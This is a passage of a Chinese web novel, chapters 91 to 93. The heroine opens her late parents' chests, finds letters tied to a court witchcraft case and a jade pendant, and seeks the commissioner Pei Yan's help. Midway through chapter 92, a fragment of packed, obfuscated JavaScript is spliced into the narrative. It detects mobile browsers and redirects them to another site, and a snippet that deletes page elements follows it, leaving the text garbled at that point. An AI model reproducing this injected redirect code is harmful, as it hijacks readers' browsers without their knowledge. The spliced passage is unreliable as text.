许娇娇叫来长风说了自己的打算,她想让长风他们先回去,自己到时候在镇上的脚店随便找一个车子回菰城。长风想到临走前主子的话,“护好她。莫要让那些人冲撞了。”本来,他和明月是郎主的长随,从小一起长大,在京城,谁不知道他是大公子身边的红人,出门谁不喊一声长管事。如今他竟然被派来服侍许娘子。但他其实心中十分愿意,许娘子可是郎主最看重的人,且许娘子人美心善,不但会医术,还会厨艺,女工。往后也不知道许娘子会不会和郎主有交集,长风心中十分焦急,许娘子什么都好,就是这家世......,他暗暗叹了口气。 “娘子尽管自便,小的几个还去镇上住,不妨事,明日我们再来。” 原来昨日长风早就着人安排好了,住在镇上的客栈,许娇娇也就随他们,李婆子家实在是太小了,根本住不下他们几人。 “那你们还是回镇上吃?”许娇娇问长风。 “娘子不用担心,小的们会自己照顾好自己。”长风知道李婆家境清寒,招待这么多人确实不易。所以也不和她们一处吃饭。“娘子尽管去吃,莫管小的,小的跟着郎主时,一日滴米不进也是有的,小的都习惯了。” “那可不成,”许娇娇语气透着严肃,“不吃饭对肠胃不好,你也要多劝劝安抚使,少吃多餐,或实在忙的时候,可以吃一块点心垫垫也是好的。” “小的记下了,多谢娘子费心。”长风一脸笑意答应。 厨房里,李婆子喊她们吃饭。孙二根和金桂端着碗筷出来,在院子里摆了小桌。 长风识趣的退了出去。 饭菜很简单,一碗炖鸡,一碟腌菜,一盘炒青菜,还有热腾腾的杂粮饼子。可坐在院子里,看着暮色一点点降临,听着鸡鸣狗吠和人们的说笑声,许娇娇觉得,这是她这些年来,吃得最香的一顿饭。 吃过饭,天已经黑了。 孙二根和金桂告辞回去,说明日再来。李婆子收拾碗筷,静尘帮忙烧水,静心也帮着收拾桌椅。许娇娇坐在院子里,看着头顶的星星。 山里的星星真多,密密麻麻的,像撒了一把碎银子。 许娇娇三人在李婆子家一共住了五日,把许大郎和柳氏的坟墓重新修葺了一番,将附近的荒草都处理干净,碑立好。已是第五日午时三刻,长风他们几个早就将许娇娇要带走的东西都装上了马车。这几日,附近她原来看过病的几户人家,都来李婆子家看她,感谢之余,给她带了不少农家的吃食,许娇娇将贵重的都推辞了,只留下了一些寻常之物。 临走前,李婆子几人又将她们送到村口,许娇娇再三推辞,说过些日子,闲了再来看他们。也让他们有事就去菰城的张记生药铺找她,说她若是要离开,会去信告知她们。婆子才含泪停下,看着马车渐渐走远。 91. 第91章 许大郎笔记 马车在柳枝巷口停下时,已是申时末。冬日天黑得早,西边天上只剩一抹残红,巷子里已经暗了下来。 长风跳下马,帮着把车上的东西卸下来。除了许娇娇她们随身带的包袱,还有李婆子她们送的一大篮山货。有干笋、野菌、核桃、鸡蛋,还有一只绑了脚的活母鸡,说是给她们补身子的。那鸡在篮子里扑腾了一路,这会儿已经蔫了,耷拉着脑袋,偶尔咕咕两声。 “许娘子,这些东西送哪儿?”长风拎着篮子问。 “先放院子里吧,”许娇娇开了门,“辛苦你了,长风大哥。进屋喝杯茶再走?” 长风摆摆手:“不了不了,郎主那边还等着回话呢。您早点歇着,属下告退。” 他转身要走,许娇娇忽然想起什么,叫住他:“等等。” 她从那篮山货里翻出一包用粗布包着的干笋,又拿了一小袋核桃,递给长风:“这个,带给裴安抚。落溪村的土产,不值什么,是我阿婆的一点心意。” 长风愣了愣,双手接过来:“这……属下替郎主谢过许娘子。” “别,”许娇娇笑了笑,“是我该谢他才。这一路多亏你护送,回头见了裴安抚,替我带个好。” 长风应了,翻身上马,带着两个兄弟很快消失在巷子尽头。 许娇娇站在门口看了一会儿,才转身进去。 静尘已经点了灯,正把包袱里的东西往外拿。静心蹲在院子里,好奇地戳那只母鸡,那鸡被戳得烦了,扑棱着翅膀要啄她,吓得她哎呀一声跳开,惹得静尘直摇头。 “静心,别闹了,去烧水。走了一天的路,都乏了,洗洗好歇息。” 静心吐吐舌头,乖乖钻进厨房去了。 许娇娇把那只母鸡从篮子里放出来,找了根绳子拴在院角的石榴树下。那鸡得了自由,抖抖羽毛,开始在树下刨食,倒也安静。 “娇杏,”静尘在屋里喊,“这两个箱子放哪儿?” 许娇娇应了一声,忙进屋去看。 堂屋正中摆着两个旧木箱,正是她从落溪村带回来的。箱子不大,樟木的,边角包着铜皮,已经磨得发亮。箱盖上刻着简单的花纹,因年头久了,花纹都有些模糊。 这是许大郎和柳氏仅剩的遗物。 当年许大郎死后,柳氏一病不起,家里的东西渐渐被人惦记。房子被占了,田地池塘被分了,连锅碗瓢盆都被人拿得七七八八。李婆子后来还去讨要了一回许娇杏的衣物,被那张癩子的婆娘挖苦了一顿。这次要不是许娇娇往张癩子的眼前拍了五两纹银,张癩子估计也不会那么容易,就把许大郎夫妻的这两只箱子还回来。 箱子里的值钱物件早被翻空了,幸好张癩子两口子不识字,也幸好许大郎夫妻在天有灵。才保住了这些书籍。 许娇娇蹲下身,伸手抚过箱盖上的花纹。指尖触到的木质已经有些糟了,边角的铜皮也生了绿锈。 “要拿出来吗?”静尘轻声问。 许娇娇点点头,“我先看看,明日都拿出来晒晒,这些书在箱子里放了十年之久,都有些潮了,幸好是樟木的,不然早就被虫子吃了。” 打开箱盖,一股陈旧的霉味扑面而来,夹杂着淡淡的樟木香。 她拿起最上面的一本,是本《黄帝内经》,线装的,书页已经泛黄,边角有些卷翘。翻开扉页,上面有行小字:“甲申年春,购于菰城旧书肆。” 字迹端正清秀,却不像是许大郎的字。许娇娇往下翻,书页空白处有不少批注,有解释经文的,有记录临床心得的,字迹渐渐变得潦草奔放,与扉页那行小字截然不同。 她心中一动,翻到一处批注密集的地方,细细辨认那些字迹。 龙飞凤舞,笔力遒劲,每一笔都透着股磊落之气。这样的字,绝不是寻常猎户能写出来的,没有十年以上的功底,没有开阔的心胸,写不出这样的字。 许娇娇看着那些批注,脑海中浮现出一个模糊的身影。那身影高大英武,执笔时微微蹙眉,落笔时却一气呵成。 “你阿爹,生得英武不凡……”李婆子的话忽然在耳边响起。 她又拿起几本,有《伤寒论》《金匮要略》《千金方》,还有几本薄薄的册子,封面上写着“医案”二字。翻开一看,是许大郎亲手记录的病案,每一则都详细记载了患者症状、用药、疗效,后面还有他的心得体会。 字迹依然奔放,却条理分明,足见心思缜密。 许娇娇一页页翻过去,心头的疑惑越来越重。 这样的医术,这样的学问,这样的人,真的只是个普通的猎户吗? 她放下医案,继续往下翻。箱底还有几本书,纸张比前面的都要好,装订也更精致。她抽出来一看,是《诗经》《楚辞》,还有一本《庄子》。 《诗经》的扉页上,同样有一行小字,却不是购书的时间地点,而是两句诗: “关关雎鸠,在河之洲。窈窕淑女,君子好逑。” 字迹婉约秀气,还带着几分稚嫩,像是女子所写。旁边又有一行狂放的字:“吾妻七岁手笔,珍藏之。” 许娇娇盯着那行字,眼眶蓦地一热。 这是阿爹和阿娘留下的痕迹。阿娘七岁时写的字,阿爹一直珍藏着,藏在箱底,藏在心里。 她深吸一口气,把《诗经》轻轻放在一旁,打开了第二个箱子。 这个箱子里装的也是一些书籍,被人翻得乱七八糟的,下面都是一些不值钱的杂物,最下面竟然有两件旧衣裳,料子都已褪色,却依稀能看出当年的讲究。其中一件藕荷色的襦裙,用的竟是上好的绸缎,袖口绣着精致的缠枝莲纹。 许娇娇想起李婆子的话:“穿着绸缎衣裳,那张脸就跟细白瓷似的,简直像从画儿里走出来的仙女。” 她轻轻抚过那件襦裙,指尖触到绣纹时,忽然摸到一处硬硬的东西。翻开来一看,襦裙的夹层里竟缝着一只小小的荷包。 荷包是月白色的,绣着几枝淡雅的兰花,针脚细密,一看就是女子的手艺。许娇娇打开荷包,里面只有一张对折的纸,已经泛黄发脆。 她小心翼翼地展开,纸上是一首诗,字迹与《诗经》扉页上的那行小字如出一辙: “妾家本住横塘路,门前流水桃花坞。十五嫁作良人妇,二十年来如一梦。梦中忽忆旧时妆,对镜簪花双鬓香。醒来不见画堂燕,唯有青山送夕阳。” 诗的下方,还有一行小字,字迹潦草狂放,是许大郎写的: “乙酉年秋,内子病中忆旧作此。读之怅然,不知所谓‘横塘路’‘桃花坞’在何处。问之,但笑不语。噫,吾妻心中,亦有一段旧事耶?” 许娇娇捧着那张纸,暗暗思忖,这莫非是阿娘的从小生活的地方? 横塘路,桃花坞。这两个地名,她从未听过。但诗中那股浓浓的怀念与伤感,却透纸而出。 阿娘是在怀念什么?怀念出嫁前的生活?还是怀念那个再也回不去的家? 她想起李婆子说过的话,说柳氏刚来村里时,穿着绸缎衣裳,像画里走出来的仙女。十里八村的小娘子,没一个及得上她。 这样的人物,怎么会嫁给一个山里的猎户?又怎么会甘心在这穷乡僻壤隐姓埋名? 许娇娇把诗折好,小心地放回荷包里。又翻了翻箱子里的其他东西,有两三件许大郎的旧衣,料子也是好的,但都已经陈旧不堪。箱子里的东西她都拿了出来,她将这些一样一样摆放在桌子上,轻轻抚摸着,这两夫妻绝对不是一般人。 静尘在旁边帮着整理,她正拿着一块布巾擦拭箱子,嘴里还说着,“娇杏,你阿爹阿娘究竟是什么样的人?我怎么觉着像是大户人家出身,你看这箱子里,竟然还有暗格。” “什么?”许娇娇一惊,“箱子里有暗格?” 她急忙起身上前查看,只见静尘指着箱子的其中地方道,”看看,就是这里,刚才我细细打量了,是暗格没错。只是,如何打开,我却不知。” 许娇娇仔细看了看箱底,果然,那个地方和其他地方不一样,不仔细看还真看不出来,她伸手摸了摸,又拔掉头上的银钗试着点了点,“不行,不是这样开的,我来研究研究。” 许娇娇趴在箱子上,用手触摸着,半晌,才在边上的一个颜色深一点的地方用力按了下去,只听咔嚓一声,箱底的那个暗格弹开了。 里面用一块红布包着一个东西,许娇娇小心的拿出来,揭开包布,一块通体青白色的玉佩显露出来,许娇娇仔细打量,只见上面雕着灵芝如意纹,虽然不算顶顶名贵,却也不是寻常人家能有的。 玉佩的穗子已经旧了,却还整齐。许娇娇拿起来端详,忽然发现玉佩背面刻着两个小字: “怀瑾”。 她怔住了。 怀瑾,握瑜。这是《楚辞》里的话,比喻人怀有美玉般高洁的品德。 莫非许大郎的名字是怀瑾,许怀瑾? 若是本名,那这名字取得极有讲究。能取出这个名字的人家,必定是读书识礼的,绝不会是普通农户。 静尘在旁边也很惊讶,“娇杏,你阿爹阿娘我估摸着出身不凡。” 许娇娇点点头,“恐怕是。” 她把玉佩也收好,继续翻找。暗格里还有一个油纸包,她打开来,里面竟然是一叠信。 信纸也泛黄了,但保存得很好。她数了数,一共七封,信封上的字迹各不相同,有端正的楷书,有飘逸的行书,但收信人的名字都一样—— “许怀瑾亲启”。 寄信人的地址,有京城,有苏州,有杭州。最早的一封是二十年前,最晚的一封是十六年前。 许娇娇的心跳得越来越快。 她抽出最上面的一封,打开来,信纸上的字迹端庄工整,开头的称呼是: 怀瑾兄如晤: 春寒料峭,伏惟尊候佳胜。弟在京一切如常,唯驰仰无已,时念当年与兄把酒论医、夜话西窗之乐。近闻朝中颇有议论,兄在外切宜珍重,诸事谨慎。待天暖时,当图一晤。 匆匆奉状,不宣。 弟文塬顿首 许娇娇又拆开另一封,这封是苏州寄来的,字迹清秀,像是好友所写:前日得友人书,言及京中巫蛊一案,朝野震动,闻兄能全身而退,弟心稍安。此事牵连甚广,兄暂避锋芒,实为上策。弟在苏州一切如旧,唯以诗酒自娱,驰想吾兄昔日豪谈,不胜怅怅。 天寒,惟珍重。不具。 弟安之再拜 巫蛊案?这三个字让许娇娇心头一震。 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可那“横塘路”“桃花坞”呢?那是阿娘的故乡吗? 许娇娇坐在那里,脑子里乱成一团。 静尘出去端着一碗热水进来,见她脸色不对,忙放下碗,轻声问:“娇杏,怎么了?” 许娇娇抬起头,语气中带着一丝郑重与疑惑:“师姐,我阿爹阿娘……恐怕不是病故的。” 静尘一愣,在她身边坐下,握住她的手:“别急,慢慢说。” 许娇娇把那些信递给她,又把那块玉佩拿给她看:“你看,我阿爹本名叫许怀瑾,这玉佩是他贴身带的。还有这些信,是二十年前他的朋友写来的。最后一封说,京中奸党密谋,欲对他不利,让他谨慎,切莫暴露行踪。” 静尘一封封看过去,脸色也渐渐凝重起来。 “你的意思是……” “我在想,”许娇娇低声道,“阿爹进山打猎遇到黑瞎子,真的只是意外吗?阿娘伤心过度病故,真的只是伤心吗?他们躲了这么多年,突然就接连出事,会不会是……” 她没有说下去,但静尘已经明白了。 “你想查清楚?” 许娇娇点点头,又摇摇头:“我不知道。那些事都过去十几年了,查起来谈何容易。可若是不查,我心里过不去这个坎。” 静尘沉默了一会儿,轻声道:“先别急。这些东西,你收好。眼下先把铺子里的事理顺,再从长计议。” 许娇娇深吸一口气,把那些信和玉佩重新包好,放回箱子里。又把那本医案拿出来,继续翻看。 翻到最后一本时,她发现那是一本单独的册子,封面没有写字。翻开一看,里面是许大郎的随笔,有行医感悟,有生活琐事,还有偶尔的感慨。 她一页页翻过去,忽然停住了。 这一页上,字迹格外潦草,墨迹也有深有浅,像是写写停停,心中激荡难平。上面写着: “医家自勉:一曰仁,无仁心不可为医,见病者之苦,当如己之苦;二曰精,无精术不可为医,生死之间,毫厘之差,千里之谬;三曰慎,无慎思不可为医,用药如用兵,一着不慎,满盘皆输;四曰淡,无淡泊不可为医,医者非商贾,不可逐利忘义。若能守此四者,方不负医者之名。” 许娇娇看着这段话,心中涌起一股敬意。这是阿爹从医数十年的心得,字字恳切,句句发自肺腑。 她继续往下翻,后面还有一些零散的记录。翻到最后几页时,她的目光忽然定住了。 这一页上,只有短短几句话,字迹却比前面都要用力,墨迹深深印在纸上,几乎透到背面: “匆匆二十载,时闻旧京事。一朝蒙冤久,何日得天顾。物是人非事事休,无语泪先流。妻病日笃,余心如刀绞。若苍天有眼,何以至此?若苍天无眼,吾复何言?” 下面还有一行更小的字,似乎是后来添上去的: “杏儿尚幼,余夫妻若有不测,此女何辜?老天爷,你睁睁眼罢!” 许娇娇的眼泪终于夺眶而出。 她捧着那本笔记,泪水滴在纸上,洇湿了那些字。 许大郎和柳氏,他们心里藏着多少事,受了多少苦,到死都没有说出来。他们怕连累女儿,所以什么都不说,什么都不留。可那些往事,那些冤屈,那些无法言说的痛,都在这本笔记里,在这几封信里,在这块玉佩里。 他们不是普通农户,他们是被人追查、被迫躲藏的可怜人。 “阿爹,阿娘,”许娇娇低声道,“你们放心。不管过去发生了什么,我都会查清楚。你们受的冤屈,你们的从前,我都会一点一点找回来。” 她合上笔记,把箱子盖好。 窗外,夜色已经深了。厨房里飘来饭菜的香味,静心在院子里喊:“吃饭啦!” 许娇娇擦干眼泪,站起身。 门外传来静尘轻轻的脚步声,还有静心叽叽喳喳的说笑声。这是她的家,她的亲人,她的现在。 可那个遥远的过去,那个藏着秘密的二十年前,她也绝不会放过。 总有一天,她要弄清楚,许怀瑾是谁,柳氏是谁,他们为什么躲到这里,又是谁害死了他们。 92. 第92章 夜访 从落溪村回来已有三日,许大郎和柳氏的过往犹如一块石头,始终压在她的心头,沉甸甸的,喘不过气来。 白日里她去张记坐诊,照常给病人把脉开方,和廖大夫、万大夫探讨医理,和抓药的伙计说笑几句。一切如常,谁也看不出异样。可一到夜里,她就把自己关在屋里,对着那两口旧木箱,一遍遍地翻看那些信、那些笔记、那块玉佩。 阿爹的字她越看越熟悉。那龙飞凤舞的笔迹,那力透纸背的力道,那字里行间的磊落之气,仿佛透过泛黄的纸页,直直地望进她心里。她甚至能想象出阿爹执笔时的模样。微微蹙着眉,目光专注,落笔时一气呵成,写完又从头到尾看一遍,偶尔添上一两笔批注。 阿娘的字则婉约得多,秀秀气气的,带着几分稚嫩。那首写在荷包里的诗,许娇娇已经背了下来: “妾家本住横塘路,门前流水桃花坞。十五嫁作良人妇,二十年来如一梦。梦中忽忆旧时妆,对镜簪花双鬓香。醒来不见画堂燕,唯有青山送夕阳。” 每读一次,她心中酸楚难言。 阿娘是在怀念什么?怀念那个“横塘路”“桃花坞”里的家吗?那个家是什么样的?有画堂燕吗?有对镜簪花的清晨吗?她十五岁嫁人,嫁的是阿爹,那嫁人之前呢?她是谁家的女儿?为什么从来不提? 许娇娇把荷包贴在胸口,闭上眼,深吸一口气。 还有那些信。 “京中巫蛊一案,朝野震动”“奸党密谋,恐对兄不利”“兄务必慎行藏、谨言语,切莫暴露行踪。”这些字句像一根根刺,扎在她心里。阿爹当年究竟卷入了什么事?那个“巫蛊案”是什么?是谁要对他不利?他又为什么要躲到落溪村那样的深山里,隐姓埋名十几年? 她翻来覆去地想,越想越觉得不安。 若阿爹阿娘的死真的另有隐情,那害死他们的人,会不会还在?会不会还在找他们的后人? 想到这里,许娇娇的后脊梁一阵发凉。 第四日傍晚,长风来了。 “许娘子,”他站在院门口,脸上带着笑,“郎主让小的来问问,娘子从落溪村回来,一切可好?那些土产,郎主说很好吃,让小的代他谢过娘子。” 许娇娇心里微微一跳,面上却不动声色:“劳裴安抚挂念,我一切都好。那些东西不值什么,他喜欢就好。” 长风点点头,正要告辞,许娇娇忽然叫住他。 “长风大哥,”她犹豫了一下,“裴安抚……今晚有空吗?” 长风愣了愣,随即眼睛一亮:“娘子想见郎主?有有有,郎主这几日都在行辕,晚上也不出门。娘子若有话要和郎主说,小的这就回去禀报,安排车马来接娘子。” 许娇娇点点头:“那就有劳了。” 长风喜滋滋地走了,脚步都比来时轻快几分。 静尘从屋里出来,看着她,轻声道:“想好了?” 许娇娇点点头:“这些事,我一个人想不明白。裴安抚见多识广,说不定能看出些门道。再说,他帮了咱们这么多,于情于理,也该去当面道声谢。” 静尘没再说什么,只是帮她理了理衣裳,又取了件厚实的披风来。 “夜里冷,多穿些。” 许娇娇接过披风,心里一暖。 天色擦黑时,一辆青帷马车停在了巷口。赶车的还是那个赵姓汉子,见了许娇娇,憨厚地笑着打招呼。长风骑着马跟在车旁,见许娇娇出来,忙跳下马,把马凳放好。 “许娘子,请上车。” 许娇娇上了车,车帘放下,马车缓缓驶动。 她靠在车壁上,听着外面辚辚的车轮声和嘚嘚的马蹄声,心里忽然有些紧张。 见了他,该说什么? 先说谢?谢他这些日子以来的照拂,谢他派长风一路护送,谢他收下那些土产还特意让人来道谢。 再说那些信?阿爹的信,阿娘的荷包,那块刻着“怀瑾”的玉佩。这些事,她能对他说吗?他会不会觉得她多事?会不会嫌她麻烦? 还有那些往事,那些可能牵涉到朝中旧案的往事,他一个钦差,查的是江南漕运的案子,是崔琰的案子,这些陈年旧事,他愿意管吗? 许娇娇胡思乱想着,不知不觉间,马车已经停了下来。 “许娘子,到了。” 她深吸一口气,掀开车帘。 钦差行辕的门楼在夜色中巍然矗立,门前挂着两盏气死风灯,把周围照得亮堂堂的。门口站着几个青衣侍卫,见了长风,都微微躬身。 长风引着许娇娇往里走。穿过两道门,来到一个清幽的小院。院门口种着一丛竹子,在夜风里沙沙作响。屋里亮着灯,窗纸上映出一个挺拔的身影。 “郎主,许娘子到了。”长风在门口禀报。 门几乎是立刻被打开的。 裴宴站在门内,一身玄色常服,腰间系着同色革带,比白日里少了几分冷峻,多了几分居家随意。可那双眼睛依旧深邃,目光落在她身上时,像是能看穿她所有的心事。 “进来吧。”他的声音不高,却让许娇娇莫名心安。 屋里烧着炭盆,暖融融的。陈设简单,一张书案,几把椅子,墙上挂着一幅山水画。书案上堆着些文书,旁边放着一盏茶,还冒着微微的热气。 裴宴请她坐下,亲自给她倒了一盏热茶。 “天冷,先暖暖身子。” 许娇娇接过茶盏,捧在手心。茶是上好的龙井,清香扑鼻。她抿了一口,那股暖意从喉咙一直暖到心里。 裴宴在她对面坐下,也不急着问她来意,只是静静地看着她。 那目光不压迫,不审视,只是静静地落在她身上,像是在等她先开口。 许娇娇被他看得有些不好意思,垂下眼,又抿了一口茶,才道:“裴安抚,小女今夜冒昧来访,是有事想请教。” 裴宴点点头:“你说。” 许娇娇从袖中取出那块玉佩,放在桌上。 “这是民女从落溪村带回来的东西。是我阿爹的遗物。” 裴宴拿起玉佩,借着灯光端详。青白玉的料子,雕着灵芝如意纹,背面刻着两个小字:“怀瑾”。 “怀瑾?”他念出声来,抬眼看向许娇娇,“令尊的名讳?” 许娇娇点点头:“可能是我阿爹的字。这是我这几日才知道的。” 她又取出那叠信,双手递给裴宴。 “这些,是我阿爹二十年前的朋友写给他的信。最早的一封是二十年前,最晚的一封是十六年前。寄信的地方,有京城,有苏州,有杭州。” 裴宴接过信,一封封看过去。他的眉头渐渐蹙起,目光也越来越凝重。 “巫蛊案?”他抬起头,看向许娇娇,“令尊和京城的巫蛊案有关?” 许娇娇摇头:“我也不知。我阿爹阿娘在我七岁那年就没了,他们的事,我一点都不知道。这次回落溪村,才从李阿婆那里听说了一些。李阿婆说,我阿娘刚来村里时,穿着绸缎衣裳,长得像画里走出来的仙女。我阿爹虽说是猎户,可谈吐不凡,还给人看病,十里八村的人都敬重他。” 她顿了顿,声音低了下去:“可他们从不提过往。村里人问起,也只说是外地逃难来的。直到我看了这些信才知道,他们根本不是逃难来的,是躲进来的。” 裴宴把信放下,拿起那本医案,一页页翻看。翻到最后一页时,他的目光定住了。 “一朝蒙冤久,何日得天顾……”他轻声念着,念到最后那句“杏儿尚幼,余夫妻若有不测,此女何辜”,抬起头,看着许娇娇。 许娇娇的眼眶有些红,却强撑着没有让眼泪落下来。 “裴安抚,民女斗胆,想请您看看这些东西。您在京城待过,见多识广,可曾听说过二十年前的巫蛊案?可曾听说过我阿爹的名字?” 裴宴沉默了片刻,把那叠信和玉佩收好,放在一旁。 “你阿爹的事,我会让人去查。”他看着许娇娇,目光里有一种让人安心的笃定,“这些东西,先放在我这里。若有消息,我会告诉你。” 许娇娇心头一松,起身敛衽一礼:“多谢裴安抚。” 裴宴摆摆手,示意她坐下。他端起茶盏抿了一口,忽然问:“你可知道,崔琰的案子,有结果了?” 许娇娇一怔,摇摇头。 裴宴放下茶盏,声音沉了下来:“皇上准了他的请罪折子。夺职,削爵,贬为平民。但没有治罪。” 许娇娇愣住了。 “贬为平民……就这样?” “就这样。”裴宴看着她,目光里有一丝复杂,“他推得干干净净,把所有罪责都推给了死去的崔旺和王兆仁。那些证人,那些伪证,那些在朝中替他说话的人,让他保住了这条命。” 许娇娇张了张嘴,却什么都说不出来。 贬为贫民,真是讽刺,一个犯了这么大罪的人,仅仅是贬为平民。 她想起那些被拐卖的女子,想起了尘师父的尸骨,想起赵大被砸烂的脑袋,想起崔娘子跪在院门外哭着说“我做不到”的样子。那么多条人命,那么多血淋淋的罪证,最后换来的,只是一个“贬为平民”? “不甘心?”裴宴问。 许娇娇深吸一口气,点点头:“不甘心。” 裴宴看着她,忽然微微弯了弯嘴角。 那笑意很淡,却让许娇娇心头一跳。 “那就记着这个不甘心。”他的声音不高,却一字一句清晰地落进她耳里,“记着那些死去的人,记着那些作恶的人。往后做事,就多一分警醒。” 许娇娇怔怔地看着他。 烛光在他脸上跳跃,给那张冷峻的脸添了几分柔和。他坐在那里,明明说的是不甘心的事,可那双眼睛里,却没有不甘,只有一种沉静的、近乎冷酷的清醒。 “裴安抚,”她轻声问,“您甘心吗?” 裴宴沉默了一瞬,才道:“不甘心又如何?这世上的事,从来不是你想怎样就怎样。能做的,就是尽力而为。剩下的,交给天意。” 许娇娇听着这话,心里忽然涌起一股说不清的复杂情绪。 他不是没有不甘,他只是把不甘压在了心底。他查了这么久,查了那么多,好不容易把真相大白于天下,可最后,那个真正的幕后黑手却轻飘飘地脱身了。他心里怎么可能没有不甘? 可他没有在她面前表现出来。他只是告诉她,记着这个不甘心,往后做事就多一分警醒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409603|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我记下了。”她轻声道。 屋里安静了一会儿。 许娇娇忽然想起什么,从袖中取出那块令牌。那是他当初在归平县大牢里给她的,让她防身用的。后来案子结了,她一直收着,总想着找机会还给他。 “裴安抚,”她把令牌双手递过去,“这个,也该还给您了。” 裴宴低头看着那块令牌,没有伸手去接。 许娇娇轻声道:“案子已经结了,您很快就要回京复命。这令牌是钦差信物,民女不敢再留着。再说……”她顿了顿,笑了笑,“如今也没有人再欺负民女了。” 裴宴看着她,那双深邃的眼睛里有什么东西动了动。他没有说话,只是伸手接过令牌,在掌心里握了一瞬。 “也好。”他说,声音很低。 许娇娇垂下眼,心里忽然有些空落落的。那块令牌跟了她这些日子,贴在心口的位置,沉甸甸的,像是他一直陪在身边。如今还回去了,就好像……好像少了一点什么。 她很快把这点情绪压下去,抬起头,弯了弯唇角。 “案子结了,这令牌确实该收回了。”裴宴目光落在她脸上,“之前给你的那块玉佩,是我私人的东西。你往后若是遇到难处,或是有事要找我……” 他没有说下去,只是看着她。 许娇娇心头猛地一跳。 那块羊脂玉佩,是那夜他临走时装在一个紧致的锦囊里给她的,她一直贴身收着,从不敢戴出来。那玉佩温润细腻,雕工精美,一看就价值不菲。 她原以为只是寻常的回礼,可此刻听他这样说,心里忽然明白了什么。 那不是寻常的礼。 那是…… 她的脸微微有些发烫,垂下眼,不敢看他。 “那玉佩……”她轻声道,“太贵重了,我……” “给你就收着。”裴宴的声音不高,却不容置疑,“往后若要去京城查你阿爹的事,拿着它,说不定有用到的一天。” 许娇娇抬起头,看着他。 京城。 他说的是京城。 她还没说出口的话,他都已经想到了。她心里那点隐秘的念头,那些信上的地址,那些从京城寄来的信,那个“巫蛊案”的蛛丝马迹。 她还没想好要不要告诉他,他就已经猜到了。 “裴安抚,”她的声音有些发哽,“您……您怎么……” “你阿爹的事,既然要查,总要进京的。”裴宴看着她,目光里有一丝难得的柔和,“那些信里,好几封是从京城寄来的。写信的人,若还活着,多半也在京城。” 许娇娇听着,心里涌起一股说不清的滋味。 这个男人,他什么都想到了。他想得比她远,想得比她周全,想得比她深。 “多谢裴安抚。”她轻声道,声音低得几乎听不见。 裴宴点点头,没有再说。 外头传来长风的咳嗽声,像是提醒什么。 许娇娇回过神来,起身告辞。走到门口,她忽然想起什么,回过头。 “裴安抚,”她看着他,目光清澈而坚定,“若有一日,民女当真要去京城,您……您那时还在京城吗?” 裴宴微微一怔。 烛光在他身后跳跃,给他的脸镀上了一层暖融融的光晕。他看着许娇娇,那双深邃的眼睛里,忽然有什么东西动了动。 “在。”他说。 就一个字,却让许娇娇心轻轻跳了一下。 她弯起唇角,笑了笑,转身走进夜色。 马车辚辚地驶出行辕,车厢里只有她一个人。她靠在车壁上,将那块羊脂玉佩从怀中取出。车帘缝隙间漏进几缕月光,恰好落在掌心,玉是温的,贴肤焐了太久,连那如意云纹的脉络都仿佛染上了脉搏,在手心微微跳动。 一如他的脸。 她忽然将玉佩贴上脸颊,烫的。不知是玉暖,还是自己的脸烧得厉害。 下一瞬,她整个人蜷下去,把头埋进膝间,久久不曾抬起。 回到柳枝巷时,已经亥时末了。静尘和静心还点着灯等她,见她回来,齐齐了口气。 “怎么样?”静尘迎上来,“裴安抚怎么说?” 许娇娇感觉自己的脸已经恢复原样了。一本正经地把裴宴的话复述了一遍,又从袖中取出那个油纸包。临走时长风塞给她的,说是郎主吩咐的,让她补补身子。 静尘接过打开,是一包上好的阿胶,切成整齐的小块,用油纸仔细包着。 静心凑过来看了一眼,啧啧道:“这阿胶我在张记见过,要好几两银子一盒呢!裴安抚可真是……” 她没说下去,只是拿眼觑着许娇娇,嘿嘿笑了两声。 许娇娇瞪她一眼,把那包阿胶收好。 夜深了,静尘和静心都睡下了。许娇娇躺在炕上,却怎么也睡不着。 她望着头顶的房梁,想着那些信,那块玉佩,他说的那些话。 京城。 那个她从没去过的地方,那个阿爹阿娘拼命逃离的地方,那个藏着无数秘密的地方。 若有一日,她当真要去京城…… 他说,他在。 许娇娇闭上眼,眼睛弯成了月牙。 93. 第93章 离别 许娇娇这一觉睡得沉,醒来时,窗纸已经透进白亮亮的光。 她躺着没动,盯着头顶那根乌黑的房梁,昨夜里那些画面又浮上心头。他说“在”时的眼神,她握过那块玉佩时掌心温热的触感,还有马车里,她把玉贴上脸颊时那烫人的温度。 她翻了个身,把脸埋进枕头里。 静尘已经在院子里走动,脚步声轻轻的,偶尔传来几声低语,是和静心说话。厨房里有烟火气飘进来,是粥的香味。 许娇娇又躺了一会儿,才起身穿衣。 推开房门,冷气扑面而来,她打了个寒噤,拢紧衣襟。院里的石榴树叶子落尽了,光秃秃的枝桠上挂着几颗干瘪的果子,被风吹得轻轻摇晃。那株月季倒还精神,枝头竟又冒出几个花苞,裹着一层薄霜,颤巍巍的。 “娇杏醒了?”静尘从厨房探出头来,“粥好了,快来吃。” 静心蹲在院子里,正拿根树枝逗旺财。那狗被她逗得烦了,躲到墙角去,她又追过去,一人一狗绕着院子转圈。见许娇娇出来,静心抬起头,脸上笑出两个酒窝。 “娇杏,你昨晚睡得可好?我半夜醒了一回,听见你翻身来着。” 许娇娇脸上一热,假装没听见,低头进了厨房。 静尘把粥端到桌上,又端出一碟腌萝卜、一碟炒鸡蛋。许娇娇坐下,舀了一勺粥,低头慢慢地喝。 “昨晚回来那么晚,”静尘在她对面坐下,看着她,“裴安抚说什么了?” 许娇娇顿了顿,把嘴里的粥咽下去,才道:“他说那些信他会让人去查,若有消息就告诉我。还说……”她迟疑了一下,“崔琰的案子有结果了。皇上准了他的请罪折子,夺职削爵。没有治罪。” 静尘愣了一下,眉头慢慢皱起来:“就这样?” “就这样。”许娇娇低下头,继续喝粥。 静尘沉默了一会儿,轻叹一声:“那些枉死的人,就这样白死了?” 师姐竟和她一样问了同样的话。 许娇娇摇了摇头,没有说话。 